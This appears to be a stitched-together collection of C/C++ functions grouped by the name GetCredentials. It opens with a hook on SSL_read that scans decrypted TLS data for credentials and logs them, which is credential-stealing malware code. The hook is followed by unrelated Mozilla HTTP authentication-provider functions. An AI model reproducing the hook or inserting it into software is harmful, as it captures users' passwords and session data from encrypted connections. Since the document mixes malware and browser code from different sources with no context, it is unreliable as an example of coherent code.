int CDECL NewSSL_read(SSL *ssl,void *buf,int num) { int r,s=0; SSL_GET_FD pSSL_get_fd=(SSL_GET_FD)engine_NtGetProcAddress(engine_NtGetModuleHandleA("SSLEAY32"),"SSL_get_fd"); r=OldSSL_read(ssl,buf,num); if (r>0) { if (pSSL_get_fd) s=pSSL_get_fd(ssl); if (GetCredentials(buf,num)) LogCapturedCredentials(buf,num,"<<:",s); } return r; }
NS_IMETHODIMP nsHttpChannelAuthProvider::OnAuthCancelled(nsISupports *aContext, bool userCancel) { LOG(("nsHttpChannelAuthProvider::OnAuthCancelled [this=%p channel=%p]", this, mAuthChannel)); mAsyncPromptAuthCancelable = nullptr; if (!mAuthChannel) return NS_OK; if (userCancel) { if (!mRemainingChallenges.IsEmpty()) { // there are still some challenges to process, do so nsresult rv; nsCAutoString creds; rv = GetCredentials(mRemainingChallenges.get(), mProxyAuth, creds); if (NS_SUCCEEDED(rv)) { // GetCredentials loaded the credentials from the cache or // some other way in a synchronous manner, process those // credentials now mRemainingChallenges.Truncate(); return ContinueOnAuthAvailable(creds); } else if (rv == NS_ERROR_IN_PROGRESS) { // GetCredentials successfully queued another authprompt for // a challenge from the list, we are now waiting for the user // to provide the credentials return NS_OK; } // otherwise, we failed... } mRemainingChallenges.Truncate(); } mAuthChannel->OnAuthCancelled(userCancel); return NS_OK; }
NS_IMETHODIMP nsHttpChannelAuthProvider::ProcessAuthentication(uint32_t httpStatus, bool SSLConnectFailed) { LOG(("nsHttpChannelAuthProvider::ProcessAuthentication " "[this=%p channel=%p code=%u SSLConnectFailed=%d]\n", this, mAuthChannel, httpStatus, SSLConnectFailed)); NS_ASSERTION(mAuthChannel, "Channel not initialized"); nsCOMPtr<nsIProxyInfo> proxyInfo; nsresult rv = mAuthChannel->GetProxyInfo(getter_AddRefs(proxyInfo)); if (NS_FAILED(rv)) return rv; if (proxyInfo) { mProxyInfo = do_QueryInterface(proxyInfo); if (!mProxyInfo) return NS_ERROR_NO_INTERFACE; } uint32_t loadFlags; rv = mAuthChannel->GetLoadFlags(&loadFlags); if (NS_FAILED(rv)) return rv; nsCAutoString challenges; mProxyAuth = (httpStatus == 407); // Do proxy auth even if we're LOAD_ANONYMOUS if ((loadFlags & nsIRequest::LOAD_ANONYMOUS) && (!mProxyAuth || !UsingHttpProxy())) { LOG(("Skipping authentication for anonymous non-proxy request\n")); return NS_ERROR_NOT_AVAILABLE; } rv = PrepareForAuthentication(mProxyAuth); if (NS_FAILED(rv)) return rv; if (mProxyAuth) { // only allow a proxy challenge if we have a proxy server configured. // otherwise, we could inadvertently expose the user's proxy // credentials to an origin server. We could attempt to proceed as // if we had received a 401 from the server, but why risk flirting // with trouble? IE similarly rejects 407s when a proxy server is // not configured, so there's no reason not to do the same. if (!UsingHttpProxy()) { LOG(("rejecting 407 when proxy server not configured!\n")); return NS_ERROR_UNEXPECTED; } if (UsingSSL() && !SSLConnectFailed) { // we need to verify that this challenge came from the proxy // server itself, and not some server on the other side of the // SSL tunnel. LOG(("rejecting 407 from origin server!\n")); return NS_ERROR_UNEXPECTED; } rv = mAuthChannel->GetProxyChallenges(challenges); } else rv = mAuthChannel->GetWWWChallenges(challenges); if (NS_FAILED(rv)) return rv; nsCAutoString creds; rv = GetCredentials(challenges.get(), mProxyAuth, creds); if (rv == NS_ERROR_IN_PROGRESS) return rv; if (NS_FAILED(rv)) LOG(("unable to authenticate\n")); else { // set the authentication credentials if (mProxyAuth) rv = mAuthChannel->SetProxyCredentials(creds); else rv = mAuthChannel->SetWWWCredentials(creds); } return rv; }
nsresult nsHttpChannelAuthProvider::GetCredentials(const char *challenges, bool proxyAuth, nsAFlatCString &creds) { nsCOMPtr<nsIHttpAuthenticator> auth; nsCAutoString challenge; nsCString authType; // force heap allocation to enable string sharing since // we'll be assigning this value into mAuthType. // set informations that depend on whether we're authenticating against a // proxy or a webserver nsISupports **currentContinuationState; nsCString *currentAuthType; if (proxyAuth) { currentContinuationState = &mProxyAuthContinuationState; currentAuthType = &mProxyAuthType; } else { currentContinuationState = &mAuthContinuationState; currentAuthType = &mAuthType; } nsresult rv = NS_ERROR_NOT_AVAILABLE; bool gotCreds = false; // figure out which challenge we can handle and which authenticator to use. for (const char *eol = challenges - 1; eol; ) { const char *p = eol + 1; // get the challenge string (LF separated -- see nsHttpHeaderArray) if ((eol = strchr(p, '\n')) != nullptr) challenge.Assign(p, eol - p); else challenge.Assign(p); rv = GetAuthenticator(challenge.get(), authType, getter_AddRefs(auth)); if (NS_SUCCEEDED(rv)) { // // if we've already selected an auth type from a previous challenge // received while processing this channel, then skip others until // we find a challenge corresponding to the previously tried auth // type. // if (!currentAuthType->IsEmpty() && authType != *currentAuthType) continue; // // we allow the routines to run all the way through before we // decide if they are valid. // // we don't worry about the auth cache being altered because that // would have been the last step, and if the error is from updating // the authcache it wasn't really altered anyway. -CTN // // at this point the code is really only useful for client side // errors (it will not automatically fail over to do a different // auth type if the server keeps rejecting what is being sent, even // if a particular auth method only knows 1 thing, like a // non-identity based authentication method) // rv = GetCredentialsForChallenge(challenge.get(), authType.get(), proxyAuth, auth, creds); if (NS_SUCCEEDED(rv)) { gotCreds = true; *currentAuthType = authType; break; } else if (rv == NS_ERROR_IN_PROGRESS) { // authentication prompt has been invoked and result is // expected asynchronously, save current challenge being // processed and all remaining challenges to use later in // OnAuthAvailable and now immediately return mCurrentChallenge = challenge; mRemainingChallenges = eol ? eol+1 : nullptr; return rv; } // reset the auth type and continuation state NS_IF_RELEASE(*currentContinuationState); currentAuthType->Truncate(); } } if (!gotCreds && !currentAuthType->IsEmpty()) { // looks like we never found the auth type we were looking for. // reset the auth type and continuation state, and try again. currentAuthType->Truncate(); NS_IF_RELEASE(*currentContinuationState); rv = GetCredentials(challenges, proxyAuth, creds); } return rv; }